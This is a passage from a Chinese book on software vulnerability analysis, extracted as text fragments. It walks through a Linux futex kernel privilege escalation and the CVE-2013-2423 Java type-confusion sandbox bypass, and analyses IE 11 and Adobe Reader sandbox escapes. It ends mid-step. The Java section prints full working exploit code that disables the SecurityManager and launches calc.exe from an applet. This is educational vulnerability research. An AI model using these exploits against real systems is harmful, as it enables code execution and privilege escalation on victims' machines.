do_signal [vmlinux]: 180 0xc0265110 sys_sendto [vmlinux]: 180 0xc02e4a48 ip_rt_ioctl [vmlinux]: 180 0xc0321d08 rawv6_sendmsg [vmlinux]: 180 0xc032b894 tcp6_seq_show [vmlinux]: 180 552 漏洞战争：软件漏洞分析精要 0xc021ff2c mtdchar_blkpg_ioctl [vmlinux]: 176 0xc0265200 sys_recvfrom [vmlinux]: 176 0xc0265514 __sys_sendmmsg [vmlinux]: 176 …… rt_waiter并非futex_wait_requeue_pi函数的最后一个局部变量（如图10-112所示），所以要覆盖它 并 不 需 要 上 面 显 示 的 最 大 栈 深 度 192 ， 所 以 漏 洞 的 作 者 选 择 邻 近 且 方 便 调 用 和 操 作 的 函 数 __sys_sendmmsg。"},
    {"text": "要控制rt_waiter，还得再了解下它的结构原型，从下面的内容可以看到它里面包含有非优先级与 优先级的等待链表节点： gdb$ ptype rt_waiter type = struct rt_mutex_waiter { struct plist_node list_entry; struct plist_node pi_list_entry; struct task_struct *task; struct rt_mutex *lock; } gdb$ p rt_waiter $26 = { list_entry = {prio = 0x84, prio_list = {next = 0xde937dec, prev = 0xde251dec}, node_list = {next = 0xde220788, prev = 0xde251df4}}, pi_list_entry = {prio = 0x84, prio_list = {next = 0xde935e38, prev = 0xde935e38}, node_list = {next = 0xde935e40, prev = 0xde935e40}}, task = 0xde14f400, lock = 0xde220788} 可以发现每个节点都包含prio_list与node_list两个链表，另外前面的prio值代表优先级，两个不同 的节点是允许拥有相同优先级的，prio_list仅链接不同优先级的节点，而node_list链接所有节点。"},
    {"text": "在 早期的堆溢出利用时期，就经常通过拆解链表控制前后向指针，从而实现任意数据写任意地址，此 处内核漏洞的利用也是沿用此思路，具体参见后面的分析。"},
    {"text": "（2） 基于栈重用的原理，调用 sendmmsg 修改 rt_waiter，使其指向前面在用户空间映射的节点，如 图 10-113 所示。 图10-112 按rt_waiter结构初始化内存 图10-113 调用sendmmsg修改rt_waiter，使 块的前后向指针 其指向前面在用户空间映射的节点 第10章 Android平台漏洞分析 553 （3） 修改 0x85 节点的 prev 指向要写入的内核地址 thread_info→addr_limit，当前 thread_info 地址 = $sp & 0xFFFFE000 ＝ &rt_waiter & 0xFFFFE000，因为 rt_waiter 与$sp 地址相差不超过 3 位数， 因此与运算后的结果是一样的，如图 10-114 所示。"},
    {"text": "（4） 调用 futex_lock_pi 插入新节点 0x84，并按 prio 优先级排序，这样在 0x85 的 next 指针里泄露新 节点 0x84 的内核地址，并使得可以向 thread_info→addr_limit 写入 0x84 节点的地址，但该地址 不可控，因此这里主要是写任意地址漏洞，如图 10-115 所示。 图10-114 修改0x85节点的prev指向 图10-115 实现写任意地址 要写入的内核地址thread_ info→addr_limit （5） 创建线程 A 和 B，将线程 B 泄露的 rt_waiter 地址写入线程 A 的 addr_limit，这个地址是不可预 测的，因此需要循环判断从用户层是否可以读取线程 A 的 addr_limit 值，如果可以就写入 0xFFFFFFFF，从而绕过用户层禁止写内核栈的限制，如图 10-116 所示。 图10-116 修改addr_limit为0xFFFFFFFF，以此绕过用户层禁止写内核栈的限制 （6） 用户层允许读取整个 thread_info 结构后，就可以修改 thread_info→task_struct→cred 结构，修改 uid、gid、suid 等各值为 0，从而实现 root 提权，如图 10-117 所示。 554 漏洞战争：软件漏洞分析精要 图10-117 修改uid、gid、suid的值为0，从而实现root提权 10.7.4 漏洞修复 补丁代码很简单，只是在futex_requeue函数里添加个判断，当uaddr1参数与uaddr2参数相等时， 则返回失败，避免requeue Bug的触发，从而解决漏洞问题，如图10-118所示。 图10-118 补丁修复代码 10.8 本章总结 本章主要围绕Android平台的漏洞进行实例讲解，分别从应用层、框架层、Native层和内核层的 漏洞进行分析，并介绍不同层次结构的不同分析技巧和方法，每层至少介绍一个分析方法，可能有 其他不同的分析，但由于篇幅所限，因此只挑笔者日常使用的方法讲解，读者可根据个人喜好选择 使用。 有些分析场景未能一一覆盖到，比如非AOSP设备的内核漏洞分析需要从设备中提取出内核， 再静态逆向分析，这个可参考笔者写的博文：http://riusksk.blogbus.com/logs/272240986.html。 Android 平台漏洞本身涉及的面比较广，很难在一章里讲述完整，或许单独写一本书讲解会更好，比如 《Android安全攻防权威指南》，推荐读者阅读，里面包含有不少漏洞分析方法和案例。 第11章 其他类型的漏洞分析 555 第 11 章 其他类型的漏洞分析 11.1 本章引言 前面介绍过多种常见漏洞类型的分析，也列举了一些Android平台上的漏洞分析，但还有其他漏 洞类型未能一一提及，因此专门撰写本章用于介绍其他漏洞类型，笔者挑选了若干不同类型的漏洞 进行分析。"},
    {"text": "由于软件 漏洞类型细分起来较多，而且随着安全行业的发展，未来也可能出现新型漏洞，因此本章主要是弥 补前面章节的不足，但要将各种漏洞类型举例言尽，尚有些欠缺。"},
    {"text": "11.2 CVE-2013-2423 JAVA Applet reflection 类型混淆代码 执行漏洞 11.2.1 漏洞描述 在Oracle Java SE 7 Update 17及更早版本的JRE HotSpot子组件中存在CVE-2013-2423类型混淆 （Type Confusion）漏洞，攻击者可利用漏洞远程执行任意代码。"},
    {"text": "该漏洞被集成到一个称为Cool Exploit Kit的高端Web攻击工具包中， 在2013年4月左右就已经被网络犯罪分子利用，用于安装一款称为Reveton的恶意软件，以此进行大 规模攻击。"},
    {"text": "11.2.2 类型混淆漏洞 关于类型混淆（Type Confusion）漏洞，最早可追溯到2002年，BlackHat ASIA黑客大会上的议 题 Java and Java Virtual Machine security vulnerablities and their exploition techniques ，就提及了Java类 型混淆漏洞。"},
    {"text": "此类漏洞虽然不如溢出、UAF等漏洞常见，但这类漏洞也是可能导致任意代码执行的， 特别是Java，当然其他系统、应用或编程语言也可能出现，比如PHP、Windows、SWF、Chrome等。 漏洞战争：软件漏洞分析精要 556 漏洞战争：软件漏洞分析精要 类型混淆漏洞主要是将数据类型A当作数据类型B解析引用，可能导致非法访问数据，进而执行任意 代码，但这里的数据类型并非单纯编程概念上的数据类型，比如Uint被转换成String（CVE-2014-0590 Flash漏洞即是将Unit混淆成String），也包括类对象或数据结构转换，比如以下两个类，A类被混淆 转换成B类，就可能导致私有域被外部访问到： class A { private int value; } class B{ public int value; } B attack = AcastB(var); // 将 A 类型混淆转换成 B 类型 attack.value = 1; // 导致可以访问私有域 11.2.3 Java安全机制 Java程序可以在本地执行，也可以通过网页加载执行，即Applet小程序。 比如以下Applet示例 代码： import java.applet.Applet; import java.io.IOException; public class Test extends Applet{ public void init() { try { Runtime.getRuntime().exec(\"id\"); } catch (IOException e) { e.printStackTrace(); } } } 用javac编译上述代码： javac Test.java 接下来，在HTML页面中加载生成的Test.class，test.html代码如下： <html><body> <applet code=\"Test.class\" width=\"740\" height=\"400\"></applet> </body></html> 用Safari浏览器（不要用Chrome浏览器，因为它不支持Java插件）打开test.html网页，会得到如 下访问拒绝的错误“AccessControlException：access denied (\"java.io.FilePermission\" \"<<ALL FILES>>\" 第11章 其他类型的漏洞分析 557 \"execute\")”，如图11-1所示。 图11-1 Java运行错误 之所以权限检测未通过，主要是Java安全机制导致的，即Java沙箱保护，以限制网络上不可信Java 程序在用户本地计算机的访问权限，比如读写本地文件、Socket通信、加载DLL、执行本地程序等。"},
    {"text": "● ByteCode Verifier（字节码验证器）：用于验证Java字节码（虚拟机指令）的合法性，判断是否 存在非法类型转换、是否存在堆栈溢出、是否执行指针寻址、是否引用正确的参数类型等，这 是JVM执行指令前最重要的一项功能，也是导致类型混淆漏洞的事发点，Flash ActiveScript里面 也有类似组件。"},
    {"text": "● Security Manager（安全管理器）：用于检测程序执行某项操作时的访问控制权限，图11-1所示 的错误正是安全管理器在检测执行权限时触发的异常错误，这些操作包括执行文件 I/O 和网络 I/O、创建新的ClassLoader、操作线程或线程组、启动进程、终止JVM、装载代码或类文件到JVM 中时都会发起运行时访问控制检测，但是它可以被设置为NULL。"},
    {"text": "● ClassLoader（类加载器）：负责将Java类文件装载到JVM中执行，包括负责加载jdk_home/lib 目录下的类文件的Bootstrap ClassLoader（启动类加载器），它拥有Java API级别的权限，因此常 是被攻击的目标； 负责加载jdk_home/lib/ext目录下的类文件的Extension ClassLoader（扩展类加 558 漏洞战争：软件漏洞分析精要 载器）； 负责加载classpath指定目录下的类文件的Application/System ClassLoader（应用/系统类 加载器）及负责加载自定义类的CustomClassLoader（自定义类加载器）。 正是这些各司其职的 类加载器，才确保了一些不同用户空间的同名类不会被混淆加载，同时也能确保自定义的系统 类如java.lang.System不会被恶意加载。"},
    {"text": "JRE 版本：build 1.7.0_17-b02 浏览器 Internet Explorer 版本号：8.0.7601.17514 关于Java各版本（包括JRE与JDK）的下载，可以通过以下链接获取：http://www.oracle.com/ technetwork/java/javase/downloads/java-archive-downloads-javase7-521261.html。"},
    {"text": "先看下PoC代码，共创建4个类： import java.lang.invoke.MethodHandle; import java.lang.reflect.Field; import static java.lang.invoke.MethodHandles.lookup; class Union1 { int field1; Object field2; } class Union2 { int field1; SystemClass field2; } class SystemClass { Object f1,f2,f3,f4,f5,f6,f7,f8,f9,f10,f11,f12, f13,f14,f15,f16,f17,f18,f19,f20,f21,f22,f23, f24,f25,f26,f27,f28,f29,f30; } 第11章 其他类型的漏洞分析 559 class PoC { public static void main(String[] args) throws Throwable { System.out.println(System.getSecurityManager()); disableSecurityManager(); System.out.println(System.getSecurityManager()); } static void disableSecurityManager() throws Throwable { MethodHandle mh1, mh2; mh1 = lookup().findStaticSetter(Double.class, \"TYPE\", Class.class); mh2 = lookup().findStaticSetter(Integer.class, \"TYPE\", Class.class); Field fld1 = Union1.class.getDeclaredField(\"field1\"); Field fld2 = Union2.class.getDeclaredField(\"field1\"); Class classInt = int.class; Class classDouble = double.class; mh1.invokeExact(int.class); mh2.invokeExact((Class)null); Union1 u1 = new Union1(); u1.field2 = System.class; Union2 u2 = new Union2(); fld2.set(u2, fld1.get(u1)); mh1.invokeExact(classDouble); mh2.invokeExact(classInt); if (u2.field2.f29 == System.getSecurityManager()) { u2.field2.f29 = null; } else if (u2.field2.f30 == System.getSecurityManager()) { u2.field2.f30 = null; } else { System.out.println(\"security manager field not found\"); } } } 其中最关键的函数自然是disableSecurityManager，它首先通过反射分别获取Double与Integer类中 的TYPE域的句柄方法，然后再分别混淆为int型和非int型。 由于JVM根据每个类的TYPE域判断它的 数据类型（比如Integer.TYPE域值为int，Integer.class值为java.lang.Integer），被篡改后就导致类型混淆： MethodHandle mh1, mh2; // 通过反射获取 Double 类中 TYPE 域的方法句柄 mh1 = lookup().findStaticSetter(Double.class, \"TYPE\", Class.class); // 通过反射获取 Integer 类中 TYPE 域的方法句柄 mh2 = lookup().findStaticSetter(Integer.class, \"TYPE\", Class.class); 560 漏洞战争：软件漏洞分析精要 …… Class classInt = int.class; // 保留 int 原始的 TYPE 域值 Class classDouble = double.class; // 保留 double 原始的 TYPE 域值 mh1.invokeExact(int.class); // 将 Double 混淆为 int 型 (java.lang.Ingeger) mh2.invokeExact((Class)null); // 将 Ingeger 混淆为非 int 型 类型混淆后，Double型被当作int型处理，而int型本身被混淆为非int型，最终导致JVM在处理int 变量时，实际处理的是Double型，而int占4字节，Double占8字节，因此最后JVM会认为int占用8字节。 接下来，通过反射将Union2的SystemClass类设置为真正的java.lang.Sytem类，然后调用set/get方 法时操作的是int型，因此fld1与fld2都会被误认为是8字节的Double型。 // 通过反射获取 Union1 类的 int 域 field1 Field fld1 = Union1.class.getDeclaredField(\"field1\"); // 通过反射获取 Union2 类的 int 域 field1 Field fld2 = Union2.class.getDeclaredField(\"field1\"); …… Union1 u1 = new Union1(); u1.field2 = System.class; // 将 Union1 中 Object 类型的 field2 设置为 System 类 Union2 u2 = new Union2(); // 将 Union2 的 field1 (int) 设置为 Union1 的 field1 （ int ） fld2.set(u2, fld1.get(u1)); 导致在执行set方法后，误认为8字节的field1（Union1与Union2相同）会包含4字节的field1与4字 节java.lang.System类型的field2，这也是为何Union1与Union2刚好定义两个4字节变量的原因： class Union1 { int field1; Object field2; } class Union2 { int field1; SystemClass field2; } 最终导致原本不可更改的system类可以通过field1被任意修改，这正是类型混淆漏洞利用的一个 巧妙方法。 接下来，恢复Double与Int的原始TYPE域值： mh1.invokeExact(classDouble); mh2.invokeExact(classInt); 由 于 System Class 中 包 含 SecurityManage ， 因 此 我 们 可 以 通 过 field1 将 SystemClass 中 的 SecurityManage置空，这样就可以绕过图11-1所示的权限检测执行任意程序。 第11章 其他类型的漏洞分析 561 class SystemClass { Object f1,f2,f3,f4,f5,f6,f7,f8,f9,f10,f11,f12, f13,f14,f15,f16,f17,f18,f19,f20,f21,f22,f23, f24,f25,f26,f27,f28,f29,f30; } …… if (u2.field2.f29 == System.getSecurityManager()) { u2.field2.f29 = null; // 将 SecurityManage 置空 } else if (u2.field2.f30 == System.getSecurityManager()) { u2.field2.f30 = null; // 不同的 Java 版本，其 SecurityManage 在 System 类中的位置会有 差异 } else { System.out.println(\"security manager field not found\"); } Java漏洞相对传统内存漏洞利用更简单稳定，它不用考虑DEP、ASLR、CFG等内存保护机制， 而且跨平台，通用性很好。"},
    {"text": "上面已经将SecurityManage置空，我们可以在main函数中加入执行calc的 代码实现利用，以下是添加和修改的代码块： import java.applet.Applet; import java.io.IOException; …… public class Exploit extends Applet{ public void init() { try{ disableSecurityManager(); Runtime.getRuntime().exec(\"calc.exe\"); } catch (Exception localException){} catch (Throwable localThrowable){} } …… ｝ 用javac编译利用代码exploit.java生成Exploit.class、SystemClass.class、Union1.class和Union2.class， 然后用jar打包上述class为exploit.jar文件： C:\\Users\\Administrator\\Desktop>javac Exploit.java C:\\Users\\Administrator\\Desktop\\exploit>jar -cvf exploit.jar ./ 已添加清单 正在添加: Exploit.class(输入 = 2088) (输出 = 1127)(压缩了 46%) 正在添加: SystemClass.class(输入 = 624) (输出 = 311)(压缩了 50%) 正在添加: Union1.class(输入 = 246) (输出 = 188)(压缩了 23%) 562 漏洞战争：软件漏洞分析精要 正在添加: Union2.class(输入 = 241) (输出 = 200)(压缩了 17%) 修改test.html内容： <html><body> <applet archive=exploit.jar code=\"Exploit.class\" width=\"740\" height=\"400\"></applet> </body></html> 用IE浏览器访问test.html后，成功弹出计算器，如图11-2所示。"},
    {"text": "图11-2 成功利用漏洞弹出计算器 11.2.5 漏洞修复 漏洞曝光后，Oracle官方及时在JDK7 Update 21中修复，补丁源码对比参见：http://hg.openjdk. java.net/jdk7u/jdk7u-dev/jdk/diff/b453d9be6b3f/src/share/classes/java/lang/invoke/MethodHandles.java， 如 图11-3所示。 补丁主要是修改checkAccess函数，添加对设置域值的权限判断，如果在set方法中修改 者为静态域则抛出异常，像java.lang.System整个类都是静态不可更改的（System类的原型定义参见： http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/file/tip/src/share/classes/java/lang/System.java），因此上面的 PoC中就无法更改System类中的SecurityManage，从而修复漏洞。"},
    {"text": "第11章 其他类型的漏洞分析 563 图11-3 补丁源码对比 11.2.6 2013年漏洞之王—Java 纵观漏洞界近几年的情况，可以说，2012年是Office漏洞之年（还记得CVE-2012-0518经典漏洞 吗），2013年是Java漏洞之年，2014年是IE漏洞之年，2015年是Flash漏洞之年。 2013年是Java漏洞最 多的一年，也是被外部黑客经常利用Java漏洞的一年，在Exploit Kit漏洞利用工具包中常常可以见到， 也被大规模用于网站挂马攻击。 CVE Details站点对每年的JDK漏洞进行过统计，如图11-4所示，可以 看到Java漏洞于2013年达到顶峰，并呈逐年下降的趋势，而且2015年关于绕过沙盒、导致代码执行 的漏洞已经相对少见。 图11-4 CVE Details上关于JDK漏洞的统计 由于Java漏洞的通用性、稳定性和跨平台性，导致在安全界受到很大关注，安全厂商、黑客组 织及政府机构都参与Java漏洞买卖的生意，售价在5000~100000美元，这也极大地促进了Java漏洞的 挖掘、贩售、恶意攻击等行为的发展。 根据思科公布的《2014年年度安全报告》，“在2013年全球 所有形式的网络入侵中，基于Java展开的黑客攻击就为其贡献了高达91%的比例。"},
    {"text": "在黑客、安全厂商积极挖掘和防范Java漏洞的同时，Oracle也在积极地修复和完善Java，使得Java 的安全有了很大的提升，像关闭安全管理器绕过Java沙盒的漏洞已经少见了。"},
    {"text": "最后，向对Java漏洞感兴趣的读者推荐两篇大会文章，分别是中国台湾骇客年会HITCON 2013 年的议题《Exploiting JRE—JRE安全机制与漏洞挖掘研究》和古河大牛在XCon 2013上分享的议题 《Java原生层漏洞挖掘分析》。"},
    {"text": "564 漏洞战争：软件漏洞分析精要 11.3 CVE-2014-0257 Microsoft Internet Explorer 11 dfsvc 组件沙盒逃逸漏洞 11.3.1 漏洞描述 CVE-2014-0257是IE浏览器中EPM（Enhaced Protected Mode）保护机制（沙盒）绕过的一个漏洞 案例，主要由于注册表项Elevation Policy对dfsvc COM组件的启动权限设置不当，导致处于EPM沙盒 中的IE Tab进程可以创建出高权限的dfsvc进程，从而绕过沙盒保护实现任意代码执行。"},
    {"text": "11.3.2 IE沙盒保护原理 自Windows Vista系统开始，微软就在IE浏览器中加入保护模式（PM，Protected Mode），里面 引入新的安全特性：强制完整性控制（MIC），通过设置完整性级别（Integrity Level）限制对安全 对象的访问，比如IE Tab子进程不能对一些特定的系统文件、注册表进行修改，防止执行恶意程序。"},
    {"text": "整个PM保护模式功能主要基于系统的三项安全特性： UAC （用户账户控制，防止恶意程序以管 理员权限运行）、完整性机制（Integrity Mechanism，限制低完整性级别的进程访问安全对象，比如 敏感的系统组件）和UIPI（用户界面特权隔离，用于限制低完整性级别的进程向高完整性级别的进 程发送窗口消息或者调用用户API进行操作，如Hook或DLL注入等）。 开启PM保护模式后，就可以限制低完整性级别进程的权限，主要包括以下方面。"},
    {"text": "第11章 其他类型的漏洞分析 565 ● 安全对象向上不可写：比如拥有安全描述符的文件和注册表项，它们可能定义了完全性级别， 或者写对象所需权限级别，这里的完全性级别是定义在系统访问控制列表SACL的强制访问控制 入口ACE中的，低完整性级别的进程不能读写高完全性级别的安全对象（文件、注册表项等）， 即使目录访问控制列表中的用户SID拥有读写权限也是不允许的，但允许读访问。 ● 进线程向上不可读：低完整性级别的进线程不能访问高级别的进程和线程的内存空间，因此它 对高权限进程进行附加调试、Hook或者DLL注入也会失败。"},
    {"text": "在Windows 8 + IE10之后，微软对PM进行扩展，推出“增强保护模式（EPM）”安全功能，通 过在“Internet选项”→“高级”标签页中勾选“启用增强保护模式”选项，开启EPM功能，图11-6 所示是在Windows 8.1 + IE 11下的设置界面。 图11-6 开启增强保护模式 开 启 后 ， 重 启 IE进程，再看下IE Tab子进程的完整性级别， 可以发现它从“Low”变成 “AppContainer”，如图11-7所示。 566 漏洞战争：软件漏洞分析精要 图11-7 IE 11的EPM保护功能 EPM继承了之前PM保护的功能，引入的AppContainer提供更细粒度的权限控制，增加对任意访 问控制列表DACL中允许的权限集合进行检查，包括AppContainer SID、User SID、Group SID及 Capability SID等，只有当AppContainer中的IE Tab子进程满足以下至少1个ACE的权限声明才能允许 访问某个安全对象。 ● AppContainer SID： S-1-15-2-1430448594-2639229838-973813799-439329657-1197984847-4069167804-1277922394 ，IE EPM模式下Tab子进程运行在名为windows_ie_ac_001的AppContainer中，比如 C:\\Users\\riusksk\\AppData\\Local\\Packages\\windows_ie_ac_001\\AC目录的权限就声明为完全可控， 如图11-8所示。 图11-8 IE EPM AppContainer SID ● Internet Explorer Capability SID： S-1-15-3-4096 ，比如收藏夹目录C:\\Users\\riusksk\\Favorites就声明 第11章 其他类型的漏洞分析 567 为可读写，如图11-9所示。"},
    {"text": "图11-9 IE Capability SID 图11-10 ALL APPLICATION PACKAGES 568 漏洞战争：软件漏洞分析精要 现在，我们再看下桌面、文档、图片等常见目录的安全属性，发现它们都没有上述3项组/用户 名的存在，也就是说，在AppContainer保护下的IE Tab进程是无法访问这些目录的，不能对其进行读 写或执行，如图11-11所示。 图11-11 AppContainer下的进程无法访问桌面等目录 在BlackHat ASIA 2014大会上，来自IBM的Mark Vincent Yason分享了一个议题 Diving Into IE 10’s Enhanced Protected Mode Sandbox ，详细描述了IE EPM沙盒的原理及实现架构，并以漏洞实例讲解沙 盒逃逸的多种方法，图11-12所示的IE沙盒架构图就是引用自其PPT的（非常感谢Yason同意笔者引用 该图片）。 图11-12 IE沙盒架构 第11章 其他类型的漏洞分析 569 Broker进程是沙盒中非常关键的组成部分，充当着“拦截者”的角色，IE进程中需要访问一些安 全对象时，就需要通过Broker代劳，比如调用WinExec、CreateProcess或者CoCreateInstance函数，IE Tab 子进程就将其重定向给Broker进程处理，两者通过COM IPC和Shared Memory IPC机制进行交互，而 它的拦截策略正是通过Elevation Policies注册表项来定义的。"},
    {"text": "Elevation Policies 是 个 注 册 表 项 ， 位 于 HKLM\\Software\\Microsoft\\InternetExplorer\\LowRights\\ ElevationPolicy\\<GUID>，如图11-13所示，其中的Policy键值用于定义COM服务或进程以何等权限运 行，它共包含4个等级值。"},
    {"text": "图11-13 Elevation Policies 11.3.3 IE沙盒攻击面分析 为了实现沙盒逃逸，就需要先分析它可能存在的攻击面。 关于IE沙盒的攻击面如图11-14所示， 概括起来，常见的IE沙盒逃逸技术主要有以下6大类。"},
    {"text": "（1）Broker 接口漏洞：IE 借助 Broker 进程完成一些需要高权限的操作，若其服务接口本身就存在漏 洞，就可以直接被攻击者用于执行任意代码，比如 CVE-2015-1743 IE ActiveX Install Broker 沙 盒逃逸漏洞。"},
    {"text": "（2）策略检查绕过：Broker 进程在检查 Elevation Policies 时若被绕过也可能导致沙盒逃逸，比如 CVE-2013-4015 用 Tab 代替空格从而绕过对程序名的检查。 （3） 策略设置不当：对于沙箱内可操作的程序，如果其 Elevation Policies 设置不当，允许静默以 Medium 权限执行（Policy：3），就可能创建高权限的进程再借助该程序的一些接口完成任意代 码执行，比如 CVE-2014-0257 dfsvc 组件沙盒逃逸漏洞，也是本节将要分析的漏洞，具体详见后文。 570 漏洞战争：软件漏洞分析精要 图11-14 IE沙盒攻击面分析 （4）IPC 通信问题：当 IPC 通信过程中使用的共享内存包含过多 IE 主进程的信息时，可能导致沙盒 的进程篡改其中主进程中包含的敏感信息，比如 EPM 沙盒的开关标志位，被篡改后就可以直接 关闭沙盒，比如 CVE-2014-6349 漏洞。 （5）沙盒权限限制不严：在沙盒中的进程如果权限限制得不够严谨，使得本不该访问的安全对象被 访问，就可能导致沙盒逃逸，比如 CVE-2013-5045 注册表符号链接导致可以修改 IE Capability SID 值。 （6）内核提取：利用系统内核漏洞获得比沙盒本身更高的权限，就可以直接关闭沙盒本身，从而实 现沙盒逃逸。"},
    {"text": "表11-2 测试环境 推荐使用的环境 备注 操作系统 Windows 8.1 简体中文专业版 浏览器 Internet Explorer 11 版本号：11.0.9600.17416 前面已经提到CVE-2014-0257主要是对dfsvc组件的Elevation Policies策略设置不当导致的漏洞， dfsvc.exe是Microsoft .NET Framework相关服务进程，用于提供ClickOnce Deployment服务。"},
    {"text": "我们可以 先看下dfsvc.exe在注册表Elevation Policies中设置的Policy值，如图11-15所示，它被设置为静默以 Medium权限运行，使得沙箱内的IE Tab进程能够创建一个Medium权限的dfsvc.exe进程。"},
    {"text": "图11-15 dfsvc的Policy值 首先，在沙箱中创建dfsvc.exe进程，代码如图11-16所示。 图11-16 创建dfsvc.exe进程 接下来，创建dfsvc COM组件对象实例，然后用mscorlib对象接收返回的接口，用它实现与dfsvc COM接口的通信，如图11-17所示。 图11-17 创建dfsvc COM组件对象实例 最后，通过mscorlib对象接口反射获取进程的Start方法（如图11-18所示），从而用它执行计算器， 如图11-19所示。"},
    {"text": "图11-18 利用mscorlib对象接口执行任意代码 572 漏洞战争：软件漏洞分析精要 图11-19 成功逃逸沙盒运行计算器 11.4 CVE-2014-9150 Adobe Acrobat Reader MoveFileEx IPC Hook 竞争条件（沙盒逃逸）漏洞 11.4.1 Therac-25 医疗事故 1986年4月，一名男性皮肤癌患者 在美国一家医院接受Therac-25放射性 治疗，如图11-20所示。"},
    {"text": "治疗模式为电 子医疗操作人员对设备操作非常熟练， 快速输入数据，启动机器后，机器很快 停机，并显示“Malfunction 54”，即能 量已发射，且剂量过低或过高。"},
    {"text": "机器控 制界面上显示剂量过低，于是操作人员 就进行恢复和重启动的操作，但此时患 者已疼痛得无法忍受，大声叫喊，就此 图11-20 放射性治疗仪Therac-25 治疗被迫停止。"},
    {"text": "经过事故排查，当操作人员的数据输入速度过快，超过机器临界的处理速度后，导致无法及时 检测到剂量过高的行为，从而就会出现“Malfunction 54”信息，最终放射过量致病人死亡。"},
    {"text": "由于厂 商对软件过度信任，关闭原有的硬件互锁装置，使得软件系统成为引发事故的起源点，这就是历史 上最早记录因竞争条件漏洞导致的重大事件。"},
    {"text": "据统计，20世纪80年代中期，由加拿大原子能公司制造的放射性治疗仪Therac-25共发生过类似 医疗事故6起，皆因辐射剂量过量，导致4人死亡，2人重伤的特大医疗事故。"},
    {"text": "除了Therac-25事件外，还有像2003年的“北美断电事件”也是因为竞争条件漏洞导致的，图11-21 所示是当时卫星拍摄到的断电前及断电过程中的图片。 第11章 其他类型的漏洞分析 573 图11-21 北美断电前（左）及断电过程中（右）的卫星图片 11.4.2 竞争条件漏洞原理 竞争条件（Race Condition）是由于多个对象（线程/进程等）同时操作同一资源，导致系统执行违 背原有逻辑设定的行为。"},
    {"text": "比如A和B两人同时向同一银行 账户存款，此时卡上余额是1000元，其中A存款200元，B存款500元，那么正常的存款流程应该如 图11-22所示，两人存款后的余额为1700元。 用户 A 用户 B 余额 检查余额 1000 元 存入 200 元 1200 元 检查余额 1200 元 存入 500 元 1700 元 图11-22 正常的银行存款流程 但如果银行没有做到良好的同步处理机制，那么可能会造成如图11-23所示的这种情况，造成最 终存款余额为1500元，丢失200元，这是不正常的。 用户 A 用户 B 余额 注释 检查余额 1000 元 Time of Check（A） 检查余额 1000 元 Time of Check（B） 存入 200 元（丢失） 1200 元 Time of Use（A） 存入 500 元 1500 元 Time of Use（B） 图11-23 异常的银行存款流程（竞争条件） 574 漏洞战争：软件漏洞分析精要 检查余额的时间可以称为“Time of Check”，存款的时间可以称为“Time of Use”，所以该问 题又可称为“TOCTOU”或者“TOCTTOU”（Time of Check to Time of Use），属于竞争条件漏洞。"},
    {"text": "如果攻击者能够在某个对象的Time of Check和Time of Use之间争得时间，在此时间内获得操作 的机会，那么就有可能破坏程序原定的处理逻辑。 比如相对用户B而言，Time of Use（A）就是对其 的破坏行为（漏洞攻击），使得本应存入的200元被丢弃。 同理，相对用户A而言，Time of Check（B） 就是对其的破坏行为，只是检查余额是个无害行为，假如它刚好也是个存款行为，那么这笔钱也会 被“无效”掉，如图11-24所示，我们把用户B的两个行为互换，那么存入的500元也会丢失。 用户 A 用户 B 余额 注释 检查余额 1000 元 Time of Check（A） 存入 500 元（丢失） 1500 元 Time of Use（B） 存入 200 元 1200 元 Time of Use（A） 检查余额 1200 元 Time of Check（B） 图11-24 异常的银行存款流程 熟悉Windows/Linux编程的同学应该知道互斥锁/自旋锁这些概念，它们的出现就是为了解决此 类同步问题，保证某一对象在对特定资源进行访问操作时，其他对象不能访问操作该特定资源，从 而保证类似图11-22所示的正常同步处理机制。"},
    {"text": "11.4.3 CVE-2014-9150漏洞描述 Adobe Acrobat Reader软件在处理MoveFileEx对应的Call Hook函数时，由于存在竞争条件漏洞， 使得在检测移动目录位置合法性（Time To Check）与完成移动操作（Time To Use）的时间内，能够 实施特定的攻击（比如文件链接到其他位置），从而导致沙盒逃逸，向任意位置（比如桌面）写入 文件，而像桌面这种目录，沙盒进程是没有权限写入的。 11.4.4 Adobe沙盒简介 前面已经介绍过IE沙盒， 其实Adobe沙盒与之类似，也是 对沙盒进程限制权限，比如文 件访问、注册表等敏感的安全 位置，沙盒进程的完整级别是 Low（如图11-25所示），没有 图11-25 Adobe Reader的沙盒进程完整级别为Low 像IE的AppContainer级别。 第11章 其他类型的漏洞分析 575 关于Adobe沙盒的原理可以直接参考官方发布的原理图，如图11-26所示。 当沙盒进程准备调用 CreateFile创建文件时，它是不能直接向系统申请的，而必须通过Broker进程来当中介，由Broker进程 去跟系统交互，因为像CreateFile/MoveFile/ReadFile等敏感操作函数都被Hook（Adobe沙盒内有许多 此类Call Hook），最后都会由Broker代为处理，然后Broker再根据相应的安全策略判断沙盒进程执行 的操作是否在许可范围内，如果允许就由Broker直接与系统交互完成操作，然后把结果返回给沙盒 进程，否则就直接拒绝。 图11-26 Adobe沙盒进程与Broker进程的IPC通信原理 本节将分析的CVE-2014-9105正是由于其中一个针对MoveFileEx的Call Hook存在竞争条件漏洞 导致的，具体详见后面的分析。"},
    {"text": "表11-3 测试环境 推荐使用的环境 备注 操作系统 Windows 7 SP1 简体中文旗舰版 漏洞软件 Adobe Reader XI 版本号：11.0.08 正常情况下，如果通过Adobe沙盒进程调用MoveFileEx移动Adobe自身目录下的文件，会是如 表11-4所示的情况。 576 漏洞战争：软件漏洞分析精要 表11-4 Adobe沙盒进程移动文件的正常流程 沙盒进程 Broder 进程 注释 调用 MoveFileEx 移动 Adobe 目录下的文件 调用对应的 Call Hook 检测权限（允许） Time of Check 移动文件至 Adobe 目录文件 Time of Use 从 Borker 获得处理结果 由于这里Adobe没有做好同步处理机制，如果能够在Time of Check与Time of Use之间获得竞争时 间执行特定操作［比如将文件链接到沙盒进程本无操作权限的文件位置（如桌面）］，那么就有可 能逃逸沙盒限制写文件到桌面，原理如表11-5所示。 表11-5 Adobe沙盒进程移动文件的攻击流程 沙盒进程 Broder 进程 注释 调用 MoveFileEx 移动 Adobe 目录下的文件 调用对应的 Call Hook 检测权限（允许） Time of Check 链接目标文件到桌面 攻击行为 移动文件至桌面 Time of Use 从 Borker 获得处理结果 攻击的关键代码分析如下。 （1）设置移动的源文件与目标文件分别为 Adobe 目录下的文件，主要保证沙盒进程允许访问，如 图 11-27 所示。 图11-27 设置移动的源文件与目标文件分别为Adobe目录下的文件 第11章 其他类型的漏洞分析 577 （2） 